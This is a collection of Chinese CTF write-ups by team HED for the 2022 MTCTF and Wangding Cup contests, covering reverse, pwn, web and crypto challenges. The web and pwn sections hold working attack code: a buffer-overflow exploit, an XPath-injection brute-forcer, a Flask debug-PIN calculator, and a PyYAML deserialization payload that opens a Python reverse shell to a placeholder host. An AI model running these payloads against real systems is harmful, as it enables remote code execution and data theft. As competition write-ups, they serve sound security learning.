~~\u9898\u76ee\u51fa\u9505\u4e86\uff0c\u6240\u4ee5\u5148\u54c1\u9274\u4e86\u4e00\u4e0b\u9898\u76ee\u7684\u6e90\u7801\u3002~~ \u961f\u91cc\u7684\u5bc6\u7801\u5c0f\u59d0\u59d0\u662f\u662f\u4fe1\u606f\u7ade\u8d5b\u9009\u624b\uff0c\u4e00\u773c\u5c31\u770b\u51fa\u6765\u8fd9\u662f\u5355\u8c03\u961f\u5217\u5165\u95e8\u9898\u3002 \u5176\u4e2d\u4e00\u79cd\u6700\u4f18\u89e3\u662f\uff0c\u5728\u6570\u5217\u4e0a\u5347\u7684\u65f6\u5019\u8fdb\u884c\u4e0a\u5347\u6570\u91cf\u7684 add_l\uff0c\u5728\u6570\u5217\u4e0b\u964d\u7684\u65f6\u5019\u8fdb\u884c\u4e0b\u964d\u6570\u91cf\u7684 add_r\uff0c\u8fd9\u6837\u76f8\u5f53\u4e8e\u5728 [add_l, add_r - 1] \u533a\u95f4\u4e2d\u5168\u90e8 +1\u3002 \u4ee4\u4eba\u611f\u53f9\u7684\u662f\uff0c\u8fd9\u9898\u4fee\u5b8c\u91cd\u65b0\u4e0a\u7ebf\u7684\u65f6\u5019\uff0c\u5c0f\u59d0\u59d0\u8fd8\u5728\u5916\u9762\u5403\u996d\uff0c\u56de\u6765\u4ee5\u540e\u7adf\u7136\u8fd8\u662f\u6ca1\u6709\u4eba\u505a\u51fa\u6765\u3002\u4e3a\u62a2\u4e00\u8840\u8d76\u7d27\u6413\u4e2a\u811a\u672c\uff0c\u4ea4\u4e92\u90fd\u4e0d\u5199\u4e86\uff0c\u76f4\u63a5\u7c98\u8d34\u8f93\u5165\u3002
target = [83, 111, 54, 42, 72, 96, 111, 78, 33, 124, 50, 87, 119, 73, 42, 78, 83, 42, 97, 54, 39, 43, 121, 65]\ntarget.append(0)\n\nans = []\nl = []\ncnt = 0\ncur = 0\nfor i in range(len(target)):\n if target[i] > cur:\n cnt += target[i] - cur\n l = l + [i for _ in range(target[i] - cur)]\n elif target[i] < cur:\n for _ in range(cur - target[i]):\n ans.append((l[-1], i))\n l.pop()\n cur = target[i]\n\nprint(cnt, len(ans))\nprint()\n\nfor item in ans:\n print('1')\n print(item[0])\n print(item[1])\n\n
Congratulations this is your flag\nu8 b= 32 | 38 | 27 | 33 | 53 | 30 | 35 | 32 | 32 | 31 | 44 | 31 | 40 | 46 | 25 | 50 | 41 | 44 | 55\nu8 a=[19]\nu8 c=a+70\nu8 flag=c+b\n
\u662f HeLang\uff01 \u8fd0\u884c\u540e\u5f97\u5230 flag{different_xor}
\u3002
\u7a0b\u5e8f\u76f4\u63a5\u8dd1\u4e0d\u8d77\u6765\uff0c\u653eIDA\u91cc\u4ece\u5165\u53e3\u8ddf\u8fdb\uff0cnop\u6389\u6ca1\u7528\u7684\u82b1\u8df3\u8f6c\uff0c\uff08\u5176\u5b9e\u4e0d\u4fee\u4e5f\u53ef\u4ee5\uff0c\u4f46\u662f\u627e\u4e0d\u5230\u6570\u636e\u5730\u5740\uff09
\u7136\u540e\u5c31\u80fd\u770b\u5230\u52a0\u5bc6\u903b\u8f91,\u6ca1\u6709\u9b54\u6539\u7684\u539f\u7248TEA\uff0c\u8f6e\u657035\uff0ckey\u786c\u7f16\u7801\u3002
\u8fd8\u53ef\u4ee5\u770b\u5230\u6bd4\u8f83\u7684\u6570\u7ec4\uff0c\u5bfc\u51fa\u4e4b\u540e\u5199\u89e3\u5bc6\u811a\u672c\uff1a
#include <stdio.h>\n#include <iostream>\nuint32_t dword_100F7[9] ={\n -569872061,\n -990307374,\n\n -621356324,\n 1839125836,\n\n 1978355431,\n 1562237956,\n\n 1360728025,\n 1373407483,\n\n 0,\n};\n\nvoid decrypt(uint32_t* v) {\n uint32_t round = 35;\n uint32_t delta = 1732584193; \n uint32_t v0 = v[0], v1 = v[1], sum = delta * round, i; \n uint32_t k0 = 1, k1 = 35, k2 = 69, k3 = 103;\n for (i = 0; i < round; i++) {\n v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);\n v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);\n sum -= delta;\n }\n v[0] = v0; v[1] = v1;\n}\n\nint main(){\n for (int i = 0; i < 8; i += 2) {\n decrypt(&dword_100F7[i]);\n }\n printf(\"%s\\n\", dword_100F7);\n return 0;\n}\n
"},{"location":"Writeup/2022mtctf/HED/#pwn","title":"PWN","text":""},{"location":"Writeup/2022mtctf/HED/#_1","title":"\u6349\u8ff7\u85cf","text":"\u6ea2\u51fa\u70b9\u85cf\u5230\u4e00\u5927\u5806\u5206\u652f\u7684\u552f\u4e00\u7ed3\u679c\u91cc\uff0c\u4e0d\u8fc7\u8fc7\u4e00\u904d27\u4e2agetline\u5c31\u80fd\u627e\u5230\u6ea2\u51fa\u7684\u4f4d\u7f6e\u3002 \u4e4b\u540e\u60f3\u8ba9angr\u81ea\u52a8\u8dd1\u51fa\u6765\uff0c\u597d\u50cf\u6548\u679c\u5e76\u4e0d\u7406\u60f3\uff0c\u4e8e\u662f\u8003\u8651\u624b\u52a8\u63a8\u7b97
\u7ed3\u679c\u53d1\u73b0\u6bd4\u8f83\u51fd\u6570\u6709\u7ecf\u5178\u7684\u6f0f\u6d1e\uff0c\u53ea\u8981\u8ba9\u7528\u6237\u8f93\u5165\u4e3a\u622a\u65ad\u7b26\u5c31\u4f1a\u8fd4\u56de\u901a\u8fc7\uff0c\u6240\u4ee5\u76f4\u63a5\u9001\u4e00\u58060\u8fdb\u53bb\uff0c\u4e0d\u8fc7\u6700\u540e\u4e00\u4e2a\u56e0\u4e3aXOR\u4e86\u9996\u4f4d\uff0c\u6240\u4ee5\u9700\u8981\u7b49\u4e8e\u4ea6\u6216\u7684\u503c\u3002
\u62ff\u5230\u6ea2\u51fa\u70b9\u4e4b\u540eret\u5230\u540e\u95e8\u5c31\u53ef\u4ee5\u4e86
from pwn import *\n\np=remote(\"39.106.27.2\",36329)\np.sendafter(b\"sbAmJLMLWm:\", b\"0 0 0 0 0 0 0 0 \")\np.sendafter(b\"HuEqdjYtuWo:\", b\"\\x00\"*0x33)\np.sendafter(b\"hbsoMdIRWpYRqvfClb:\", b\"\\x00\"*0x35)\np.sendafter(b\"tfAxpqDQuTCyJw:\", b\"\\x00\"*0x22)\np.sendafter(b\"UTxqmFvmLy:\", b\"0 0 0 9254 0 0 0 0 \")\np.sendafter(b\"LLQPyLAOGJbnm:\", b'\\x3c'+b\"\\00\"*0x29)\np.sendafter(b\"gRGKqIlcuj:\", b'a'*0xf+b'b'*8+p64(0x401331)*4)\np.interactive()\np.close()\n
"},{"location":"Writeup/2022mtctf/HED/#web","title":"WEB","text":""},{"location":"Writeup/2022mtctf/HED/#babyjava","title":"babyjava(\u4e00\u8840)","text":"\u770b\u5927\u4f6c\u7684\u535a\u5ba2\uff1ahttps://xz.aliyun.com/t/7791?page=1
\u524d\u8fb9\u7684\u5224\u65ad\u65b9\u6cd5(root-user-username)\u535a\u5ba2\u91cc\u90fd\u6709\uff0c\u800c\u4e14\u662f\u5e38\u89c1\u540d\u7206\u7834\u7b2c\u4e00\u4e2a\u5b57\u7b26\u5c31\u80fd\u731c\u5230\u4e86 xpath=user1' and substring(name(/*[1]), 3, 1)='o' and ''='
\u6700\u540e\u6ce8\u5230\u7b2c\u4e8c\u4e2aflag\u4e0a\u811a\u672c\uff0c\u5f88\u5feb\u5c31\u80fd\u51fa\u6765
import requests\n\nfor n in range(80):\n for i in \"abcdef0123456789-{}\":\n r = requests.post(\"http://eci-2zef43pmhep3nhrjor7d.cloudeci1.ichunqiu.com:8888/hello\",\n data={\n \"xpath\": f\"\"\"user1' and substring((//user[position()=1]/username[position()=2]),{n},1) = '{i}' and ''='\"\"\"\n })\n if \"information \" not in r.text:\n print(i, end=\"\")\n break\n
"},{"location":"Writeup/2022mtctf/HED/#onlineunzip","title":"OnlineUnzip","text":"zip\u5f88\u5bb9\u6613\u6784\u9020../\u7684\u6587\u4ef6\u540d\uff08\u6bd4\u5982\u624b\u52a8patch\u6216\u8005\u4e22\u7ed9java\u751f\u6210\uff09\uff0c\u4e5f\u5f88\u5bb9\u6613\u88ab\u5f00\u53d1\u8005\u9632\u5230
\u8f6f\u94fe\u63a5\u662f\u53e6\u4e00\u79cdzip\u653b\u51fb\u7684\u65b9\u6cd5\uff0c\u89e3\u51b3\u65b9\u6cd5\u662f\u7528\u4fee\u8865\u8fc7\u7684unzip\uff0c\u4f46\u770b\u8d77\u6765\u8fd9\u9053\u9898\u6ca1\u4fee
\u8fd9\u9053\u9898\u6bd4\u8f83\u7b80\u5355\u7684\u65b9\u6cd5\u662f\u76f4\u63a5\u628a/
\u6839\u76ee\u5f55ln\u51fa\u6765\uff0c\u8fd9\u6837\u76f4\u63a5\u5c31\u80fd\u4efb\u610f\u6587\u4ef6\u8bfb\uff0c\u4f46\u8bfbflag\u4f1a\u63d0\u793a\u65e0\u6743\u9650
\u7136\u540e\u6ce8\u610f\u5230debug=True\uff0c\u4f46\u4e4b\u524d\u6ca1\u505a\u8fc7Flask\u63a7\u5236\u53f0\u7684\u9898\uff0c\u6240\u4ee5\u8fd9\u91cc\u5361\u4e86\u4e24\u4e2a\u591a\u5c0f\u65f6\uff0c\u75db\u5931\u4e00\u8840
\u5f00\u4e86debug\u4e4b\u540e\u4e0d\u4ec5\u6709\u62a5\u9519\uff0c\u8fd8\u53ef\u4ee5\u901a\u8fc7/console\u8fdb\u5165\u63a7\u5236\u53f0\uff0c\u5f53\u7136\u9ad8\u7248\u672c\u9700\u8981\u8f93\u5165pin\uff0c\u4f46\u8fd9\u4e2apin\u662f\u53ef\u8ba1\u7b97\u7684
\u4e0d\u8fc7\u7f51\u4e0a\u7684\u811a\u672c\u90fd\u4e0d\u600e\u4e48\u80fd\u7528\uff0c\u5e72\u8106\u628a\u670d\u52a1\u5668\u7684pin\u751f\u6210\u4ee3\u7801\u62c9\u4e0b\u6765\u770b\u770b\uff0c\u7136\u540e\u518d\u6539\uff0c\u4e8e\u662f\u5c31\u6709\uff1a
import hashlib\nfrom itertools import chain\n\nprobably_public_bits = [\n 'ctf', # /etc/passwd\n 'flask.app', # \u9ed8\u8ba4\n 'Flask', # \u9ed8\u8ba4\n '/usr/local/lib/python3.8/site-packages/flask/app.py' # \u62a5\u9519\u6216\u8005\u60f3\u529e\u6cd5\u62ff\n]\n# docker\u73af\u5883\u53d6 1 3 \uff0c \u5176\u4f59\u5e94\u8be5\u6ca1\u67093\nprivate_bits = [\n '95529876171', # /sys/class/net/ens0/address\n '96cec10d3d9307792745ec3b85c89620' # /etc/machine-id \n # 'c5938f8f-1a6f-4e03-8a6e-4fed4f38afa9' # /proc/sys/kernel/random/boot_id \n 'e6714e8f0c24bf998ff3953127d9a0f60e30b712b0cda501c207092fd26bfc18' # /proc/self/cgroup\n]\n\n# 3.6\u662fmd5\uff0c3.8\u662fsha1\nh = hashlib.sha1()\n\nfor bit in chain(probably_public_bits, private_bits):\n if not bit:\n continue\n if isinstance(bit, str):\n bit = bit.encode(\"utf-8\")\n h.update(bit)\nh.update(b\"cookiesalt\")\ncookie_name = f\"__wzd{h.hexdigest()[:20]}\"\nh.update(b\"pinsalt\")\nnum = f\"{int(h.hexdigest(), 16):09d}\"[:9]\n\nfor group_size in 5, 4, 3:\n if len(num) % group_size == 0:\n rv = \"-\".join(\n num[x: x + group_size].rjust(group_size, \"0\")\n for x in range(0, len(num), group_size)\n )\n print(rv)\n
\u6709\u4e86pin\u5c31\u53ef\u4ee5RCE\u4e86\uff0c\u6ca1\u6d4b\u63a7\u5236\u53f0\u80fd\u4e0d\u80fd\u76f4\u63a5\u8bfb\uff0c\u53cd\u5f39\u7684shell\u53ef\u4ee5\u8bfbflag
"},{"location":"Writeup/2022mtctf/HED/#crypto","title":"Crypto","text":""},{"location":"Writeup/2022mtctf/HED/#strange_rsa1","title":"strange_rsa1","text":"RSA\uff0c\u5df2\u77e5\u9ad8\u7cbe\u5ea6\u4e0b\u7684 p/q\uff0c\u6c42 p \u548c q\u3002 \u7528 sage \u8fd0\u884c\uff0c\u53d1\u73b0\u7cbe\u5ea6\u8db3\u591f\uff0c\u76f4\u63a5\u80fd\u89e3\u51fa\u6765\u3002
# exp.sage\nfrom Crypto.Util.number import *\n\ne = 0x10001\nn = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413\nc = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924\ngift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938\n\nq_sq = n / gift\nq_e = sqrt(q_sq)\nq = int(q_e)\n\nassert n % q == 0\np = n / q\n\nphi = int((p-1)*(q-1))\nd = inverse(e, phi)\nm = pow(c, d, n)\nprint(long_to_bytes(m))\n
"},{"location":"Writeup/2022wdbs1/readme/","title":"2022-\u7f51\u9f0e\u676f\u9752\u9f99\u7ec4-\u521d\u8d5b-HED-WriteUp","text":"Rank: 7 1016pts 9Solved \u9752\u9f99\u7ec4\u603b\u7b2c8\uff0c\u7ec4\u5185\u9ad8\u6821\u8d5b\u9053\u7b2c7 HED \u662f\u5357\u65b9\u79d1\u6280\u5927\u5b66COMPASS\u5b9e\u9a8c\u5ba4\u7684CTF\u6218\u961f
\u9996\u5148\u55b5\u4e00\u4e0b\u4ee3\u7801\uff0c\u53d1\u73b0\u4e0a\u4f20\u6587\u4ef6\u9700\u8981 session['user'] == 'Administrator'
\uff0c\u7136\u540e\u7ffb\u4e00\u4e0b session \u7684 secret key\uff0c\u53d1\u73b0\uff1a
app.config['SECRET_KEY'] = socket.gethostname()\n
\u770b\u5230hostname\u8003\u8651\u5e73\u53f0\u7684Docker\u73af\u5883\u53ef\u80fd\u662f\u4e00\u6837\u7684\uff0c\u679c\u65ad\u767b\u5f55CTF\u5927\u672c\u8425\u6253\u5f00\u767e\u5ea6\u676f\u7684SSTI\u9898\u76ee
\u6478\u4e86\u4e00\u4e0b hostname \u5f97\u5230\u8fd4\u56de\u503c engine-1
\uff0c\u9a8c\u8bc1\u53d1\u73b0\u679c\u7136\u662f\u8fd9\u4e2a\u3002
\u62ff\u5230\u4e86 SECRET_KEY \u4e4b\u540e\uff0c\u5c31\u53ef\u4ee5\u968f\u4fbf\u6539 session
\u4e86\uff0c\u4e5f\u5c31\u662f user
\u548c updir
\u90fd\u80fd\u968f\u4fbf\u6539\u3002
\u8fd9\u6837\u7684\u8bdd\uff0c\u6211\u4eec\u73b0\u5728\u5c31\u53ef\u4ee5\u4e0a\u4f20\u6587\u4ef6\u4e86\u3002\u5e76\u4e14\u7531\u4e8e\u53ef\u4ee5\u63a7\u5236 updir
\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u4efb\u610f\u6587\u4ef6\u8bfb\uff0c\u4e5f\u53ef\u4ee5\u4efb\u610f\u6587\u4ef6\u5199\u4e86\uff08\u53ea\u8981\u6709\u6743\u9650\uff09\u3002
\u7136\u540e\u53d1\u73b0\u4efb\u610f\u6587\u4ef6\u8bfb\u6ca1\u4ec0\u4e48\u7528\uff08~~\u4e3b\u8981\u662f\u8bfb\u4e0d\u5230 flag~~\uff09\uff0c\u7136\u540e\u5c1d\u8bd5\u5199\u6587\u4ef6\u4e5f\u5199\u4e0d\u5230 templates
\u91cc\u9762\u53bb\uff08\u4e8b\u540e\u53d1\u73b0\u786e\u5b9e\u6ca1\u90a3\u4e2a\u76ee\u5f55\u7684\u6743\u9650\uff09\uff0c\u6240\u4ee5\u5269\u4e0b\u53ea\u6709 yaml.load
\u53ef\u4ee5\u5229\u7528\u4e86\u3002
\u7136\u540e yaml
\u8fc7\u6ee4\u4e86 system
\u7b49\u5173\u952e\u8bcd\uff0c\u6240\u4ee5\u4e00\u4e2a\u6bd4\u8f83\u7701\u4e8b\u7684\u529e\u6cd5\u5c31\u662f\u5148 base64 \u4e00\u4e0b\u7136\u540e\u518d eval\u3002
\u7136\u540e\u81f3\u4e8e\u600e\u4e48\u5b9e\u73b0\u8fd9\u4e2a\u903b\u8f91\uff0c\u7ffb\u4e86\u4e00\u5708\u5927\u4f6c\u7684\u6587\u7ae0\uff0c\u6700\u540e\u53d1\u73b0\u4e00\u4e2a\u80fd\u7528\u7684\uff1a
https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/
\u5927\u4f6c\u6ca1\u7ed9\u51fa\u5b9e\u73b0\uff0c\u81ea\u5df1\u6309\u5927\u4f6c\u535a\u5ba2\u7684\u601d\u8def\u5b9e\u73b0\u4e00\u4e0b\uff1a
!!python/object/new:bytes\n- !!python/object/new:map\n - !!python/name:eval\n - !!python/object/new:map\n - !!python/name:base64.b64decode\n - [\"{BASE64 HERE}\"]\n
\u7ffb\u8bd1\u8fc7\u6765\u5176\u5b9e\u5c31\u662f bytes(map(eval, map(base64.b64decode, 'BASE64 HERE')))
\u3002\u7136\u540e base64 \u7684\u90e8\u5206\uff0c\u53ef\u4ee5\u586b\u4e00\u4e2a\u5e38\u89c4\u7684\u53cd\u5f39 shell\uff1a
exec(\"import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\\\"YOUR-IP\\\",PORT)); \nos.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);\")\n
\u7136\u540e\u628a\u8fd9\u4e2a yaml \u4e0a\u4f20\u5230\u4e00\u4e2a /display
\u80fd\u8bbf\u95ee\u5230\u7684\u4f4d\u7f6e\u4e0a\uff08\u5373\u8981\u63d0\u524d\u7b97\u597d md5\uff09\uff0c\u7136\u540e\u518d\u7528 /display
\u6478\u4e00\u4e0b\uff0c\u5c31\u80fd\u6267\u884c\u4e86\u3002\u6267\u884c\u5b8c\u4e86\u4e4b\u540e\uff0c\u5c31\u62ff\u5230\u4e86 shell\u3002
\u4f46\u662f\u7ffb\u4e86\u4e00\u4e0b\uff0c\u53d1\u73b0 /flag
\u597d\u50cf\u6ca1\u6743\u9650\u8bfb\u3002
find -perm -u=s -type f 2>/dev/null
\u904d\u5386\u6709suid\u6743\u9650\u7684\u7a0b\u5e8f\uff0c\u53d1\u73b0\u9664\u4e86\u6b63\u5e38\u7684\u7a0b\u5e8f\u5916\u6709dd
\u8003\u8651dd\u5199passwd\u63d0\u5230root\uff0c\u4f46\u662f\u961f\u91cc\u795e\u4ed9\u5e08\u5085\u76f4\u63a5\u7528 dd if=/flag of=copy
\u590d\u5236\u4e86\u4e00\u4efd flag\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u8bfb\u4e86\u3002
\u4e0a\u9762 web \u90e8\u5206\u7684\u811a\u672c\u5982\u4e0b\uff1a
from itsdangerous import URLSafeTimedSerializer\nimport base64\nimport flask\nimport hashlib\nimport os\nimport requests\n\ndef dump_cookies(secret_key, data):\n return URLSafeTimedSerializer(\n secret_key,\n salt = 'cookie-session',\n serializer = flask.json.tag.TaggedJSONSerializer(),\n signer_kwargs = dict(key_derivation = \"hmac\", digest_method = hashlib.sha1),\n ).dumps(data)\n\ndef create_rar(target, contents):\n for (file, content) in contents.items():\n with open(file, 'w') as f:\n f.write(content)\n os.system(f'rar a {target} {file}')\n\ndef create_session(key):\n data = { 'user': 'Administrator', 'updir': 'fileinfo' }\n return dump_cookies(key, data)\n\ndef create_yaml_payload():\n command = f'exec(\"import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n s.connect((\\\\\\\"YOUR-IP\\\\\\\",PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\n os.dup2(s.fileno(),2); p=subprocess.call([\\\\\\\"/bin/sh\\\\\\\",\\\\\\\"-i\\\\\\\"]);\")'\n command_encode = base64.b64encode(command.encode()).decode()\n\n return f'''\n!!python/object/new:bytes\n- !!python/object/new:map\n - !!python/name:eval\n - !!python/object/new:map\n - !!python/name:base64.b64decode\n - [\"{command_encode}\"]'''\n\ndef main():\n dummy_filename = 'monad'\n dummy_filename_md5 = hashlib.md5(dummy_filename.encode()).hexdigest()\n rar = f'.1.rar'\n create_rar(rar, { f'{dummy_filename_md5}.yaml': create_yaml_payload() })\n\n session = create_session('engine-1')\n url = 'http://eci-2ze2kqsxzki5jel0ux1b.cloudeci1.ichunqiu.com:8888'\n r = requests.post(url + '/upload', cookies={'session': session}, files={'file': open(rar, 'rb')})\n r = requests.get(url + '/display', cookies={'session': session}, params={'file': dummy_filename})\n\nif __name__ == '__main__':\n main()\n
"},{"location":"Writeup/2022wdbs1/readme/#crypto-ak","title":"Crypto (AK)","text":""},{"location":"Writeup/2022wdbs1/readme/#crypto162","title":"crypto162 \uff08\u4e8c\u8840\uff09","text":"\u9996\u5148\uff0c\u55ef\uff0c\u6211\u4eec\u5148\u6765\u770b\u770b\u4ee3\u7801\uff1a
def cal(i, cof):\n if i < 3:\n return i + 1\n else:\n return cof[2] * cal(i-3, cof) + cof[1] * cal(i-2, cof) + cof[0] * cal(i-1, cof)\n
\u7136\u540e\u4e00\u770b\uff0c\u5783\u573e\u9012\u5f52\uff0c\u987a\u624b\u628a\u4ed6\u6539\u6210\u8fed\u4ee3\u7684\uff1a
MOD = 10 ** 2010\nbuffer = [1, 2, 3] + [ 0 for _ in range(200000 + 1) ]\n\ns = 0\nfor cof in cof_t:\n for j in range(3, 200000+1):\n buffer[j] = (cof[2] * buffer[j-3] + cof[1] * buffer[j-2] + cof[0] * buffer[j - 1]) % MOD\n s = (s + buffer[200000]) % MOD\n
\u7136\u540e\u53c8\u56e0\u4e3a\u540e\u9762\u6709 s=str(s)[-2000:-1000]
\uff0c\u6240\u4ee5\u987a\u4fbf\u6a21\u4e00\u4e0b $2^{2000}$ \u6b21\u65b9\uff0c\u4e0d\u4f1a\u5bf9\u7b54\u6848\u4ea7\u751f\u5f71\u54cd\u3002
\u7136\u540e\u672c\u6765\u8fd8\u60f3\u7740\u8981\u4e0d\u8981\u7ee7\u7eed\u4f18\u5316\u7684\uff0c\u4f46\u662f\u521a\u60f3\u51fa\u6765\u600e\u4e48\u4f18\u5316\uff0c\u4e0a\u9762\u7684\u90a3\u6bb5\u4ee3\u7801\u5c31\u8dd1\u51fa\u6765\u4e86\u3002
\u7136\u540e\u62ff\u7740\u8f93\u51fa\u7684 s
\u9a8c\u7b97\u4e00\u4e0b\uff0c\u662f\u53ef\u4ee5\u5bf9\u4e0a verify
\u7684\u3002\u7136\u540e\u2026\u2026\u7136\u540e\u5c31\u7528 AES \u89e3\u5bc6\u5c31\u89e3\u51fa\u6765\u5566\uff1f
\u7531\u4e8e k
\u4e00\u76f4\u5728\u66f4\u65b0\uff0c\u6709\u70b9\u96be\u5206\u6790\uff0c\u4e0d\u59a8\u7ed9 k
\u52a0\u4e00\u7ef4\uff08\u5373 i
\u76f8\u5173\uff09\uff0c\u4e8e\u662f\u4ee3\u7801\u5c31\u662f\uff1a
for i in range(len(flag)):\n k[i][0] = flag[i]\n for j in range(1, 5+1):\n k[i][j] = k[i][j - 1] * k[i - 1][j] % p\n print('Grasshopper#' + str(i).zfill(2) + ':' + hex(k[i][5])[2:].zfill(4))\n
\u7136\u540e\u4e0d\u96be\u53d1\u73b0\uff0ck
\u91cc\u9762\u7684\u6bcf\u4e2a\u503c\uff0c\u4f1a\u4e14\u4f1a\u88ab\u8d4b\u503c\u4e00\u6b21\u3002\u5e76\u4e14\u7528 k[i][j]
\u548c k[i - 1][j]
\u53ef\u4ee5\u8ba1\u7b97\u51fa k[i][j - 1]
\uff08\u56e0\u4e3a p
\u662f\u8d28\u6570\uff0c\u6240\u4ee5\u76f4\u63a5\u6c42\u9006\u5373\u53ef\uff09\u3002
\u7136\u540e output.txt \u91cc\u9762\u7ed9\u51fa\u4e86\u6700\u540e\u7684 k
\uff0c\u5373 k[..][5]
\u3002\u4e8e\u662f\u6211\u4eec\u5c31\u53ef\u4ee5\u7528\u4e0a\u9762\u6240\u8bf4\u7684\u65b9\u6cd5\uff0c\u4ece k[..][5]
\u7b97\u51fa k[..][4]
\uff0c\u4ece k[..][4]
\u7b97\u51fa k[..][3]
\u2026\u2026\u76f4\u81f3\u7b97\u51fa k[..][0]
\uff0c\u4e5f\u5c31\u662f flag\u3002
\u6240\u4ee5\u6700\u540e\u7684\u8fc7\u7a0b\u5c31\u662f\u679a\u4e3e p
\uff0c\u7136\u540e\u5bf9 k
\u505a\u9006\u8fd0\u7b97\u6c42\u51fa flag
\uff0c\u5e76\u987a\u4fbf\u5224\u65ad\u4e00\u4e0b flag \u5408\u4e0d\u5408\u6cd5\uff08\u9700\u8981\u662f\u53ef\u6253\u5370\u5b57\u7b26\uff09\u3002
from Crypto.Util.number import *\nimport more_itertools\nimport string\n\nout = [ 0x2066, 0xa222, 0xcbb1, 0xdbb4, 0xdeb4, 0xb1c5, 0x33a4, 0xc051, 0x3b79, 0x6bf8,\n 0x2131, 0x2c40, 0x91ba, 0x7b44, 0x5f25, 0x0208, 0x7edb, 0x62b5, 0xcec5, 0x5ab3, 0x3c46,\n 0xc272, 0x714b, 0x9e0b, 0x48ee, 0x44cc, 0x05a0, 0x3da3, 0x11b1, 0x259f, 0x899d, 0xa130,\n 0xe58f, 0x23f3, 0x5829, 0x6beb, 0x3681, 0x0054, 0xa189, 0x2765, 0xc63d, 0xbc68 ]\n\ndef solve_with(p):\n now = out\n for k in range(5):\n now = [ y * pow(x, -1, p) % p for x, y in more_itertools.windowed(now, n=2, step=1) ]\n if max(now) < 256:\n print(bytes(now))\n\nfor p in range(max(out) + 1, 2**16):\n if isPrime(p):\n solve_with(p)\n
"},{"location":"Writeup/2022wdbs1/readme/#crypto091","title":"crypto091","text":"\u5df2\u77e5 sha(\u624b\u673a\u53f7) = c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc
\uff0c\u4e14\u201c\u624b\u673a\u53f7\u662f170\u53f7\u6bb5\u9996\u6279\u653e\u53f7\u7684\u8054\u901a\u53f7\u7801\u201d\u3002
\u8054\u901a\u53f7\u7801\uff0c\u90a3\u80af\u5b9a\u662f\u4e2d\u56fd\u7684\uff0c\u6240\u4ee5\u56fd\u5bb6\u4ee3\u7801\u662f 86
\uff0c\u7136\u540e\u201c\u9996\u6279\u653e\u53f7\u7684\u8054\u901a\u53f7\u7801\u201d\uff0c\u7a0d\u5fae\u67e5\u4e00\u4e0b\uff0c\u5c31\u80fd\u53d1\u73b0\u53f7\u7801\u6bb5\u662f 1709
\uff0c\u591a\u4e00\u4f4d\u3002\u6240\u4ee5\u624b\u673a\u53f7\u7684\u524d 6 \u4f4d\u5c31\u51fa\u6765\u4e86\uff1a861709
\u3002
\u7136\u540e sha \u51fa\u6765\u7684\u957f\u5ea6\u662f 64 \u4f4d\u7684 hex\uff0c\u6240\u4ee5\u8fd9\u662f\u4e2a sha256\u3002
\u7528 hashcat \u8dd1\u4e00\u4e0b\u6700\u540e\u7684 7 \u4f4d\u6570\u5b57\uff1a
$ hashcat -a 3 -m 1400 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc' '861709?d?d?d?d?d?d?d' -O --force\n\n...\nc22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc:8617091733716\n...\n
\u5c31\u53ef\u4ee5\u62ff\u5230\u624b\u673a\u53f7\uff1a8617091733716
\uff08\u4e5f\u5c31\u662f flag\uff09\u3002
go\u6b63\u5411\uff0c\u6309\u903b\u8f91\u628a\u524d\u4e24\u4e2aprint\u7684\u5b57\u7b26\u4e32\u62ff\u51fa\u6765\uff1a
Input the first function, which has 6 parameters and the third named gLIhR: \nInput the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6: \n
\u4e0a\u8fb9\u5f88\u591a\u51fd\u6570\uff0c\u4f46\u4e00\u641c\u5305\u542b\u5b57\u7b26\u4e32\u7684\u51fd\u6570\u590d\u6742\u5ea6\u53ea\u6709180*50\uff0c\u597d\u50cf\u633a\u80fd\u63a5\u53d7\u7684
\u6b63\u5219\u641c\u4e00\u4e0b\u7b2c\u4e00\u4e2a\uff0c\u53d1\u73b0\u53ea\u6709\u4e94\u4e2a\u5339\u914d\uff08\u8fd9\u91cc\u540e\u534a\u6bb5\u8d2a\u5fc3\u4e86\uff0c\u8089\u773c\u8fc7\u4e00\u904d\u53d1\u73b0\u5b9e\u9645\u53ea\u6709\u4e00\u4e2a\u662f\u6b63\u786e\u7684\uff09
\\(.*?,.*?, gLIhR.*?,.*?, .*?, .*?\\)
\u5c31\u627e\u5230\u4e86\u7b2c\u4e00\u6bb5\u7684\u7b54\u6848
\u7136\u540e\u641c\u7b2c\u4e8c\u4e2a\u8c03\u7528cHZv5op8rOmlAkb6(.*?)
\uff0c\u540c\u65f6\u51fd\u6570\u540d\u7684\u51fa\u73b0\u6b21\u6570==5\uff08\u591a\u4f59\u7684\u5728\u5b57\u7b26\u4e32\u8f6c\u51fd\u6570\u5f15\u7528\u7684\u90a3\u4e2a\u65b9\u6cd5\u91cc\u548c\u5b83\u81ea\u8eab\u597d\u50cf\uff09
